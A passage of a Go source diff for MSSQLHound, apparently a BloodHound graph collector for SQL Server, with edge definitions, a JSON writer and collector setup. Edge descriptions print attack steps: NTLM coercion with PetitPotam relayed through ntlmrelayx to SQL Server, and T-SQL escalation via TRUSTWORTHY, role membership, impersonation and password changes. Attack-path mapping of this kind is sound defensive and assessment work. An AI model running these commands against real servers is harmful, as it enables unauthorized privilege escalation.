domain.com -l attacker-ip -t victim-computer + + # ntlmrelayx will relay the authentication to the SQL Server and execute commands`, + LinuxAbuse: `Perform NTLM coercion and relay to the SQL Server: + # On the attacker machine, start ntlmrelayx targeting the SQL Server + ntlmrelayx.py -t mssql://sql.domain.com -smb2support + + # Coerce the victim computer to authenticate using PetitPotam + python3 PetitPotam.py attacker-ip victim-computer -u user -p password -d domain.com + + # ntlmrelayx will relay the authentication to the SQL Server and execute commands`, + Opsec: `NTLM relay attacks can be detected by: + - Windows Event 4624 with Logon Type 3 from unexpected sources + - SQL Server login events from computer accounts + - Network traffic analysis showing NTLM authentication +Enable Extended Protection (EPA) on SQL Server to prevent this attack.`, + References: `- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/connect-to-the-database-engine-using-extended-protection +- https://github.com/topotam/PetitPotam +- https://github.com/p0dalirius/Coercer +- https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py`, + } + }, + + // Database-level permission edges + EdgeKinds.AlterDB: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has ALTER permission on the " + ctx.DatabaseName + " database, allowing modification of database settings and properties.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER DATABASE [" + ctx.DatabaseName + "] SET TRUSTWORTHY ON; to enable trustworthy flag for privilege escalation.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER DATABASE [" + ctx.DatabaseName + "] SET TRUSTWORTHY ON; to enable trustworthy flag for privilege escalation.", + Opsec: "ALTER DATABASE operations are logged in the SQL Server audit log and default trace.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-database-transact-sql", + } + }, + + EdgeKinds.AlterDBRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has ALTER permission on the target database role, allowing modification of role membership.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user];", + Opsec: "Role membership changes are logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql", + } + }, + + EdgeKinds.AlterServerRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The " + ctx.SourceType + " has ALTER permission on the target server role, allowing modification of role membership.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];", + Opsec: "Server role membership changes are logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql", + } + }, + + EdgeKinds.ControlDBRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has CONTROL permission on the target database role, granting full control including ability to add/remove members and drop the role.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user]; or DROP ROLE [" + ctx.TargetName + "];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user]; or DROP ROLE [" + ctx.TargetName + "];", + Opsec: "CONTROL on database roles grants full administrative permissions. All modifications are logged.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine", + } + }, + + EdgeKinds.ControlDBUser: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has CONTROL permission on the target database user, granting full control including ability to impersonate.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.", + Opsec: "CONTROL on database users allows impersonation. Impersonation is logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine", + } + }, + + EdgeKinds.ControlLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has CONTROL permission on the target login, granting full control including ability to impersonate and alter.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login, or ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword!';", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.", + Opsec: "CONTROL on logins grants full administrative permissions including impersonation. All actions are logged.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine", + } + }, + + EdgeKinds.ControlServerRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has CONTROL permission on the target server role, granting full control including ability to add/remove members.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];", + Opsec: "CONTROL on server roles grants full administrative permissions. All modifications are logged.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine", + } + }, + + EdgeKinds.DBTakeOwnership: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " has TAKE OWNERSHIP permission on the " + ctx.DatabaseName + " database, allowing them to become the database owner.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER AUTHORIZATION ON DATABASE::[" + ctx.DatabaseName + "] TO [" + ctx.SourceName + "]; to take ownership of the database.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER AUTHORIZATION ON DATABASE::[" + ctx.DatabaseName + "] TO [" + ctx.SourceName + "]; to take ownership of the database.", + Opsec: "TAKE OWNERSHIP operations are logged in SQL Server audit logs. Database ownership changes are high-visibility events.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql", + } + }, + + EdgeKinds.ImpersonateDBUser: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Non-traversable (matches PowerShell) + General: "The " + ctx.SourceType + " has IMPERSONATE permission on the target database user, allowing execution of commands as that user.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.", + Opsec: `Database user impersonation is logged in SQL Server audit logs. To check current execution context: + SELECT USER_NAME(), ORIGINAL_LOGIN(); +To revert impersonation: + REVERT;`, + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql +- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`, + } + }, + + EdgeKinds.ImpersonateLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Non-traversable (matches PowerShell) + General: "The " + ctx.SourceType + " has IMPERSONATE permission on the target login, allowing execution of commands as that login.", + WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.", + LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.", + Opsec: `Login impersonation is logged in SQL Server audit logs. To check current execution context: + SELECT SYSTEM_USER, ORIGINAL_LOGIN(); +To revert impersonation: + REVERT;`, + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql +- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`, + } + }, + + EdgeKinds.TakeOwnership: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, // Non-traversable (matches PowerShell); MSSQL_ChangeOwner is the traversable counterpart + General: "The source has TAKE OWNERSHIP permission on the target, allowing them to become the owner.", + WindowsAbuse: "TAKE OWNERSHIP allows changing the owner of the target object.", + LinuxAbuse: "TAKE OWNERSHIP allows changing the owner of the target object.", + Opsec: "Ownership changes are logged in SQL Server audit logs.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql", + } + }, + + EdgeKinds.ExecuteAs: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The source can execute commands as the target principal using EXECUTE AS.", + WindowsAbuse: "Connect and execute: EXECUTE AS LOGIN = ''; or EXECUTE AS USER = ''; to impersonate.", + LinuxAbuse: "Connect and execute: EXECUTE AS LOGIN = ''; or EXECUTE AS USER = ''; to impersonate.", + Opsec: "Impersonation is logged in SQL Server audit logs. Use REVERT; to return to the original context.", + References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql +- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`, + } + }, +} diff --git a/internal/bloodhound/writer.go b/internal/bloodhound/writer.go new file mode 100644 index 0000000..a8a0138 --- /dev/null +++ b/internal/bloodhound/writer.go @@ -0,0 +1,486 @@ +// Package bloodhound provides BloodHound OpenGraph JSON output generation. +package bloodhound + +import ( + "encoding/json" + "fmt" + "io" + "os" + "path/filepath" + "sync" +) + +// Node represents a BloodHound graph node +type Node struct { + ID string `json:"id"` + Kinds []string `json:"kinds"` + Properties map[string]interface{} `json:"properties"` + Icon *Icon `json:"icon,omitempty"` +} + +// Edge represents a BloodHound graph edge +type Edge struct { + Start EdgeEndpoint `json:"start"` + End EdgeEndpoint `json:"end"` + Kind string `json:"kind"` + Properties map[string]interface{} `json:"properties,omitempty"` +} + +// EdgeEndpoint represents the start or end of an edge +type EdgeEndpoint struct { + Value string `json:"value"` +} + +// Icon represents a node icon +type Icon struct { + Type string `json:"type"` + Name string `json:"name"` + Color string `json:"color"` +} + +// StreamingWriter handles streaming JSON output for BloodHound format +type StreamingWriter struct { + file *os.File + encoder *json.Encoder + mu sync.Mutex + nodeCount int + edgeCount int + firstNode bool + firstEdge bool + inEdges bool + filePath string + seenEdges map[string]bool // dedup: "source|target|kind" +} + +// NewStreamingWriter creates a new streaming BloodHound JSON writer +func NewStreamingWriter(filePath string) (*StreamingWriter, error) { + // Ensure directory exists + dir := filepath.Dir(filePath) + if err := os.MkdirAll(dir, 0755); err != nil { + return nil, fmt.Errorf("failed to create directory: %w", err) + } + + file, err := os.Create(filePath) + if err != nil { + return nil, fmt.Errorf("failed to create file: %w", err) + } + + w := &StreamingWriter{ + file: file, + firstNode: true, + firstEdge: true, + filePath: filePath, + seenEdges: make(map[string]bool), + } + + // Write header + if err := w.writeHeader(); err != nil { + file.Close() + return nil, err + } + + return w, nil +} + +// writeHeader writes the initial JSON structure +func (w *StreamingWriter) writeHeader() error { + header := `{ + "$schema": "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json", + "metadata": { + "source_kind": "MSSQL_Base" + }, + "graph": { + "nodes": [ +` + _, err := w.file.WriteString(header) + return err +} + +// WriteNode writes a single node to the output +func (w *StreamingWriter) WriteNode(node *Node) error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.inEdges { + return fmt.Errorf("cannot write nodes after edges have started") + } + + // Write comma if not first node + if !w.firstNode { + if _, err := w.file.WriteString(",\n"); err != nil { + return err + } + } + w.firstNode = false + + // Marshal and write the node + data, err := json.Marshal(node) + if err != nil { + return err + } + + if _, err := w.file.WriteString(" "); err != nil { + return err + } + if _, err := w.file.Write(data); err != nil { + return err + } + + w.nodeCount++ + return nil +} + +// WriteEdge writes a single edge to the output. If edge is nil or a duplicate, it is silently skipped. +func (w *StreamingWriter) WriteEdge(edge *Edge) error { + if edge == nil { + return nil + } + + w.mu.Lock() + defer w.mu.Unlock() + + // Deduplicate by full edge content (JSON-serialized). + // This ensures truly identical edges (same source, target, kind, AND properties) + // are deduped, while edges with same source/target/kind but different properties + // (e.g., LinkedTo edges with different localLogin mappings) are kept. + edgeJSON, err := json.Marshal(edge) + if err != nil { + return err + } + edgeKey := string(edgeJSON) + if w.seenEdges[edgeKey] { + return nil + } + w.seenEdges[edgeKey] = true + + // Transition from nodes to edges if needed + if !w.inEdges { + if err := w.transitionToEdges(); err != nil { + return err + } + } + + // Write comma if not first edge + if !w.firstEdge { + if _, err := w.file.WriteString(",\n"); err != nil { + return err + } + } + w.firstEdge = false + + // Marshal and write the edge + data, err := json.Marshal(edge) + if err != nil { + return err + } + + if _, err := w.file.WriteString(" "); err != nil { + return err + } + if _, err := w.file.Write(data); err != nil { + return err + } + + w.edgeCount++ + return nil +} + +// transitionToEdges closes the nodes array and starts the edges array +func (w *StreamingWriter) transitionToEdges() error { + transition := ` + ], + "edges": [ +` + _, err := w.file.WriteString(transition) + if err != nil { + return err + } + w.inEdges = true + return nil +} + +// Close finalizes the JSON and closes the file +func (w *StreamingWriter) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + + // If we never wrote edges, transition now + if !w.inEdges { + if err := w.transitionToEdges(); err != nil { + return err + } + } + + // Write footer + footer := ` + ] + } +} +` + if _, err := w.file.WriteString(footer); err != nil { + return err + } + + return w.file.Close() +} + +// Stats returns the number of nodes and edges written +func (w *StreamingWriter) Stats() (nodes, edges int) { + w.mu.Lock() + defer w.mu.Unlock() + return w.nodeCount, w.edgeCount +} + +// FilePath returns the path to the output file +func (w *StreamingWriter) FilePath() string { + return w.filePath +} + +// FileSize returns the current size of the output file +func (w *StreamingWriter) FileSize() (int64, error) { + info, err := w.file.Stat() + if err != nil { + return 0, err + } + return info.Size(), nil +} + +// NodeKinds defines the BloodHound node kinds for MSSQL objects +var NodeKinds = struct { + Server string + Database string + Login string + ServerRole string + DatabaseUser string + DatabaseRole string + ApplicationRole string + User string + Group string + Computer string +}{ + Server: "MSSQL_Server", + Database: "MSSQL_Database", + Login: "MSSQL_Login", + ServerRole: "MSSQL_ServerRole", + DatabaseUser: "MSSQL_DatabaseUser", + DatabaseRole: "MSSQL_DatabaseRole", + ApplicationRole: "MSSQL_ApplicationRole", + User: "User", + Group: "Group", + Computer: "Computer", +} + +// EdgeKinds defines the BloodHound edge kinds for MSSQL relationships +var EdgeKinds = struct { + MemberOf string + IsMappedTo string + Contains string + Owns string + ControlServer string + ControlDB string + ControlDBRole string + ControlDBUser string + ControlLogin string + ControlServerRole string + Impersonate string + ImpersonateAnyLogin string + ImpersonateDBUser string + ImpersonateLogin string + ChangePassword string + AddMember string + Alter string + AlterDB string + AlterDBRole string + AlterServerRole string + Control string + ChangeOwner string + AlterAnyLogin string + AlterAnyServerRole string + AlterAnyRole string + AlterAnyDBRole string + AlterAnyAppRole string + GrantAnyPermission string + GrantAnyDBPermission string + LinkedTo string + ExecuteAsOwner string + IsTrustedBy string + HasDBScopedCred string + HasMappedCred string + HasProxyCred string + ServiceAccountFor string + HostFor string + ExecuteOnHost string + TakeOwnership string + DBTakeOwnership string + CanExecuteOnServer string + CanExecuteOnDB string + Connect string + ConnectAnyDatabase string + ExecuteAs string + HasLogin string + GetTGS string + GetAdminTGS string + HasSession string + LinkedAsAdmin string + CoerceAndRelayTo string +}{ + MemberOf: "MSSQL_MemberOf", + IsMappedTo: "MSSQL_IsMappedTo", + Contains: "MSSQL_Contains", + Owns: "MSSQL_Owns", + ControlServer: "MSSQL_ControlServer", + ControlDB: "MSSQL_ControlDB", + ControlDBRole: "MSSQL_ControlDBRole", + ControlDBUser: "MSSQL_ControlDBUser", + ControlLogin: "MSSQL_ControlLogin", + ControlServerRole: "MSSQL_ControlServerRole", + Impersonate: "MSSQL_Impersonate", + ImpersonateAnyLogin: "MSSQL_ImpersonateAnyLogin", + ImpersonateDBUser: "MSSQL_ImpersonateDBUser", + ImpersonateLogin: "MSSQL_ImpersonateLogin", + ChangePassword: "MSSQL_ChangePassword", + AddMember: "MSSQL_AddMember", + Alter: "MSSQL_Alter", + AlterDB: "MSSQL_AlterDB", + AlterDBRole: "MSSQL_AlterDBRole", + AlterServerRole: "MSSQL_AlterServerRole", + Control: "MSSQL_Control", + ChangeOwner: "MSSQL_ChangeOwner", + AlterAnyLogin: "MSSQL_AlterAnyLogin", + AlterAnyServerRole: "MSSQL_AlterAnyServerRole", + AlterAnyRole: "MSSQL_AlterAnyRole", + AlterAnyDBRole: "MSSQL_AlterAnyDBRole", + AlterAnyAppRole: "MSSQL_AlterAnyAppRole", + GrantAnyPermission: "MSSQL_GrantAnyPermission", + GrantAnyDBPermission: "MSSQL_GrantAnyDBPermission", + LinkedTo: "MSSQL_LinkedTo", + ExecuteAsOwner: "MSSQL_ExecuteAsOwner", + IsTrustedBy: "MSSQL_IsTrustedBy", + HasDBScopedCred: "MSSQL_HasDBScopedCred", + HasMappedCred: "MSSQL_HasMappedCred", + HasProxyCred: "MSSQL_HasProxyCred", + ServiceAccountFor: "MSSQL_ServiceAccountFor", + HostFor: "MSSQL_HostFor", + ExecuteOnHost: "MSSQL_ExecuteOnHost", + TakeOwnership: "MSSQL_TakeOwnership", + DBTakeOwnership: "MSSQL_DBTakeOwnership", + CanExecuteOnServer: "MSSQL_CanExecuteOnServer", + CanExecuteOnDB: "MSSQL_CanExecuteOnDB", + Connect: "MSSQL_Connect", + ConnectAnyDatabase: "MSSQL_ConnectAnyDatabase", + ExecuteAs: "MSSQL_ExecuteAs", + HasLogin: "MSSQL_HasLogin", + GetTGS: "MSSQL_GetTGS", + GetAdminTGS: "MSSQL_GetAdminTGS", + HasSession: "HasSession", + LinkedAsAdmin: "MSSQL_LinkedAsAdmin", + CoerceAndRelayTo: "CoerceAndRelayToMSSQL", +} + +// Icons defines the default icons for MSSQL node types +var Icons = map[string]*Icon{ + NodeKinds.Server: { + Type: "font-awesome", + Name: "server", + Color: "#42b9f5", + }, + NodeKinds.Database: { + Type: "font-awesome", + Name: "database", + Color: "#f54242", + }, + NodeKinds.Login: { + Type: "font-awesome", + Name: "user-gear", + Color: "#dd42f5", + }, + NodeKinds.ServerRole: { + Type: "font-awesome", + Name: "users-gear", + Color: "#6942f5", + }, + NodeKinds.DatabaseUser: { + Type: "font-awesome", + Name: "user", + Color: "#f5ef42", + }, + NodeKinds.DatabaseRole: { + Type: "font-awesome", + Name: "users", + Color: "#f5a142", + }, + NodeKinds.ApplicationRole: { + Type: "font-awesome", + Name: "robot", + Color: "#6ff542", + }, +} + +// CopyIcon returns a copy of an icon +func CopyIcon(icon *Icon) *Icon { + if icon == nil { + return nil + } + return &Icon{ + Type: icon.Type, + Name: icon.Name, + Color: icon.Color, + } +} + +// WriteToFile writes the complete output to a file (non-streaming) +func WriteToFile(filePath string, nodes []Node, edges []Edge) error { + output := struct { + Schema string `json:"$schema"` + Metadata struct { + SourceKind string `json:"source_kind"` + } `json:"metadata"` + Graph struct { + Nodes []Node `json:"nodes"` + Edges []Edge `json:"edges"` + } `json:"graph"` + }{ + Schema: "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json", + } + output.Metadata.SourceKind = "MSSQL_Base" + output.Graph.Nodes = nodes + output.Graph.Edges = edges + + file, err := os.Create(filePath) + if err != nil { + return err + } + defer file.Close() + + encoder := json.NewEncoder(file) + encoder.SetIndent("", " ") + return encoder.Encode(output) +} + +// ReadFromFile reads BloodHound JSON from a file +func ReadFromFile(filePath string) ([]Node, []Edge, error) { + file, err := os.Open(filePath) + if err != nil { + return nil, nil, err + } + defer file.Close() + + return ReadFrom(file) +} + +// ReadFrom reads BloodHound JSON from a reader +func ReadFrom(r io.Reader) ([]Node, []Edge, error) { + var output struct { + Graph struct { + Nodes []Node `json:"nodes"` + Edges []Edge `json:"edges"` + } `json:"graph"` + } + + decoder := json.NewDecoder(r) + if err := decoder.Decode(&output); err != nil { + return nil, nil, err + } + + return output.Graph.Nodes, output.Graph.Edges, nil +} diff --git a/internal/collector/collector.go b/internal/collector/collector.go new file mode 100644 index 0000000..d076517 --- /dev/null +++ b/internal/collector/collector.go @@ -0,0 +1,5598 @@ +// Package collector orchestrates the MSSQL data collection process. +package collector + +import ( + "archive/zip" + "context" + "fmt" + "io" + "net" + "os" + "os/exec" + "path/filepath" + "runtime" + "sort" + "strconv" + "strings" + "sync" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/ad" + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" + "github.com/SpecterOps/MSSQLHound/internal/mssql" + "github.com/SpecterOps/MSSQLHound/internal/types" + "github.com/SpecterOps/MSSQLHound/internal/wmi" +) + +// Config holds the collector configuration +type Config struct { + // Connection options + ServerInstance string + ServerListFile string + ServerList string + UserID string + Password string + Domain string + DomainController string + DCIP string // Domain controller IP address + DNSResolver string // DNS resolver to use for lookups + LDAPUser string + LDAPPassword string + + // Output options + OutputFormat string + TempDir string + ZipDir string + FileSizeLimit string + Verbose bool + + // Collection options + DomainEnumOnly bool + SkipLinkedServerEnum bool + CollectFromLinkedServers bool + SkipPrivateAddress bool + ScanAllComputers bool + SkipADNodeCreation bool + IncludeNontraversableEdges bool + MakeInterestingEdgesTraversable bool + + // Timeouts and limits + LinkedServerTimeout int + MemoryThresholdPercent int + FileSizeUpdateInterval int + + // Concurrency + Workers int // Number of concurrent workers (0 = sequential) +} + +// Collector handles the data collection process +type Collector struct { + config *Config + tempDir string + outputFiles []string + outputFilesMu sync.Mutex // Protects outputFiles + serversToProcess []*ServerToProcess + linkedServersToProcess []*ServerToProcess // Linked servers discovered during processing + linkedServersMu sync.Mutex // Protects linkedServersToProcess + serverSPNData map[string]*ServerSPNInfo // Track SPN data for each server, keyed by ObjectIdentifier + serverSPNDataMu sync.RWMutex // Protects serverSPNData + skippedChangePasswordEdges map[string]bool // Track unique skipped ChangePassword edges for CVE-2025-49758 + skippedChangePasswordMu sync.Mutex // Protects skippedChangePasswordEdges +} + +// ServerToProcess holds information about a server to be processed +type ServerToProcess struct { + Hostname string // FQDN or short hostname + Port int // Port number (default 1433) + InstanceName string // Named instance (empty for default) + ObjectIdentifier string // SID:port or SID:instance + ConnectionString string // String to use for SQL connection + ComputerSID string // Computer SID + DiscoveredFrom string // Hostname of server this was discovered from (for linked servers) + Domain string // Domain inferred from the source server (for linked servers) +} + +// ServerSPNInfo holds SPN-related data discovered from Active Directory +type ServerSPNInfo struct { + SPNs []string + ServiceAccounts []types.ServiceAccount + AccountName string + AccountSID string +} + +// New creates a new collector +func New(config *Config) *Collector { + return &Collector{ + config: config, + serverSPNData: make(map[string]*ServerSPNInfo), + } +} + +// getDNSResolver returns the DNS resolver to use, applying the logic: +// if --dc-ip is specified but --dns-resolver is not, use dc-ip as the resolver +func (c *Collector) getDNSResolver() string { + if c.config.DNSResolver != "" { + return c.config.DNSResolver + } + if c.config.DCIP != "" { + return c.config.DCIP + } + return "" +} + +// Run executes the collection process +func (c *Collector) Run() error { + // Setup temp directory + if err := c.setupTempDir(); err != nil { + return fmt.Errorf("failed to setup temp directory: %w", err) + } + fmt.Printf("Temporary output directory: %s\n", c.tempDir) + + // Build list of servers to process + if err := c.buildServerList(); err != nil { + return fmt.Errorf("failed to build server list: %w", err) + } + + if len(c.serversToProcess) == 0 { + return fmt.Errorf("no servers to process") + } + + fmt.Printf("\nProcessing %d SQL Server(s)...\n", len(c.serversToProcess)) + c.logVerbose("Memory usage: %s", c.getMemoryUsage()) + + // Track all processed servers to avoid duplicates + processedServers := make(map[string]bool) + + // Process servers (concurrently if workers > 0) + if c.config.Workers > 0 { + c.processServersConcurrently() + // Mark all initial servers as processed + for _, server := range c.serversToProcess { + processedServers[strings.ToLower(server.Hostname)] = true + } + } else { + // Sequential processing + for i, server := range c.serversToProcess { + fmt.Printf("\n[%d/%d] Processing %s...\n", i+1, len(c.serversToProcess), server.ConnectionString) + processedServers[strings.ToLower(server.Hostname)] = true + + if err := c.processServer(server); err != nil { + fmt.Printf("Warning: failed to process %s: %v\n", server.ConnectionString, err) + // Continue with other servers + } + } + } + + // Process linked servers recursively if enabled + if c.config.CollectFromLinkedServers { + c.processLinkedServersQueue(processedServers) + } + + // Create zip file + if len(c.outputFiles) > 0 { + zipPath, err := c.createZipFile() + if err != nil { + return fmt.Errorf("failed to create zip file: %w", err) + } + fmt.Printf("\nOutput written to: %s\n", zipPath) + } else { + fmt.Println("\nNo data collected - no output file created") + } + + return nil +} + +// serverJob represents a server processing job +type serverJob struct { + index int + server *ServerToProcess +} + +// serverResult represents the result of processing a server +type serverResult struct { + index int + server *ServerToProcess + outputFile string + err error +} + +// processServersConcurrently processes servers using a worker pool +func (c *Collector) processServersConcurrently() { + numWorkers := c.config.Workers + totalServers := len(c.serversToProcess) + + fmt.Printf("Using %d concurrent workers\n", numWorkers) + + // Create channels + jobs := make(chan serverJob, totalServers) + results := make(chan serverResult, totalServers) + + // Start workers + var wg sync.WaitGroup + for w := 1; w <= numWorkers; w++ { + wg.Add(1) + go c.serverWorker(w, jobs, results, &wg) + } + + // Send jobs + for i, server := range c.serversToProcess { + jobs <- serverJob{index: i, server: server} + } + close(jobs) + + // Wait for workers in a goroutine + go func() { + wg.Wait() + close(results) + }() + + // Collect results + successCount := 0 + failCount := 0 + for result := range results { + if result.err != nil { + fmt.Printf("[%d/%d] %s: FAILED - %v\n", result.index+1, totalServers, result.server.ConnectionString, result.err) + failCount++ + } else { + fmt.Printf("[%d/%d] %s: OK\n", result.index+1, totalServers, result.server.ConnectionString) + successCount++ + } + } + + fmt.Printf("\nCompleted: %d succeeded, %d failed\n", successCount, failCount) +} + +// serverWorker is a worker goroutine that processes servers from the jobs channel +func (c *Collector) serverWorker(id int, jobs <-chan serverJob, results chan<- serverResult, wg *sync.WaitGroup) { + defer wg.Done() + + for job := range jobs { + c.logVerbose("Worker %d: processing %s", id, job.server.ConnectionString) + + err := c.processServer(job.server) + + results <- serverResult{ + index: job.index, + server: job.server, + err: err, + } + } +} + +// addOutputFile adds an output file to the list (thread-safe) +func (c *Collector) addOutputFile(path string) { + c.outputFilesMu.Lock() + defer c.outputFilesMu.Unlock() + c.outputFiles = append(c.outputFiles, path) +} + +// setupTempDir creates the temporary directory for output files +func (c *Collector) setupTempDir() error { + if c.config.TempDir != "" { + c.tempDir = c.config.TempDir + return nil + } + + timestamp := time.Now().Format("20060102-150405") + tempPath := os.TempDir() + c.tempDir = filepath.Join(tempPath, fmt.Sprintf("mssql-bloodhound-%s", timestamp)) + + return os.MkdirAll(c.tempDir, 0755) +} + +// parseServerString parses a server string (hostname, hostname:port, hostname\instance, SPN) +// and returns a ServerToProcess entry. Does not resolve SIDs. +func (c *Collector) parseServerString(serverStr string) *ServerToProcess { + server := &ServerToProcess{ + Port: 1433, // Default port + } + + // Handle SPN format: MSSQLSvc/hostname:portOrInstance + if strings.HasPrefix(strings.ToUpper(serverStr), "MSSQLSVC/") { + serverStr = serverStr[9:] // Remove "MSSQLSvc/" + } + + // Handle formats: hostname, hostname:port, hostname\instance, hostname,port + if strings.Contains(serverStr, "\\") { + parts := strings.SplitN(serverStr, "\\", 2) + server.Hostname = parts[0] + if len(parts) > 1 { + server.InstanceName = parts[1] + } + server.ConnectionString = serverStr + } else if strings.Contains(serverStr, ":") { + parts := strings.SplitN(serverStr, ":", 2) + server.Hostname = parts[0] + if len(parts) > 1 { + // Check if it's a port number or instance name + if port, err := strconv.Atoi(parts[1]); err == nil { + server.Port = port + } else { + server.InstanceName = parts[1] + } + } + server.ConnectionString = serverStr + } else if strings.Contains(serverStr, ",") { + parts := strings.SplitN(serverStr, ",", 2) + server.Hostname = parts[0] + if len(parts) > 1 { + if port, err := strconv.Atoi(parts[1]); err == nil { + server.Port = port + } + } + server.ConnectionString = serverStr + } else { + server.Hostname = serverStr + server.ConnectionString = serverStr + } + + return server +} + +// addServerToProcess adds a server to the processing list, deduplicating by ObjectIdentifier +func (c *Collector) addServerToProcess(server *ServerToProcess) { + // Build ObjectIdentifier if we have a SID + if server.ComputerSID != "" { + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + server.ObjectIdentifier = fmt.Sprintf("%s:%s", server.ComputerSID, server.InstanceName) + } else { + server.ObjectIdentifier = fmt.Sprintf("%s:%d", server.ComputerSID, server.Port) + } + } else { + // Use hostname-based identifier if no SID + hostname := strings.ToLower(server.Hostname) + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + server.ObjectIdentifier = fmt.Sprintf("%s:%s", hostname, server.InstanceName) + } else { + server.ObjectIdentifier = fmt.Sprintf("%s:%d", hostname, server.Port) + } + } + + // Check for duplicates + for _, existing := range c.serversToProcess { + if existing.ObjectIdentifier == server.ObjectIdentifier { + // Update hostname to prefer FQDN + if !strings.Contains(existing.Hostname, ".") && strings.Contains(server.Hostname, ".") { + existing.Hostname = server.Hostname + } + return // Already exists + } + } + + 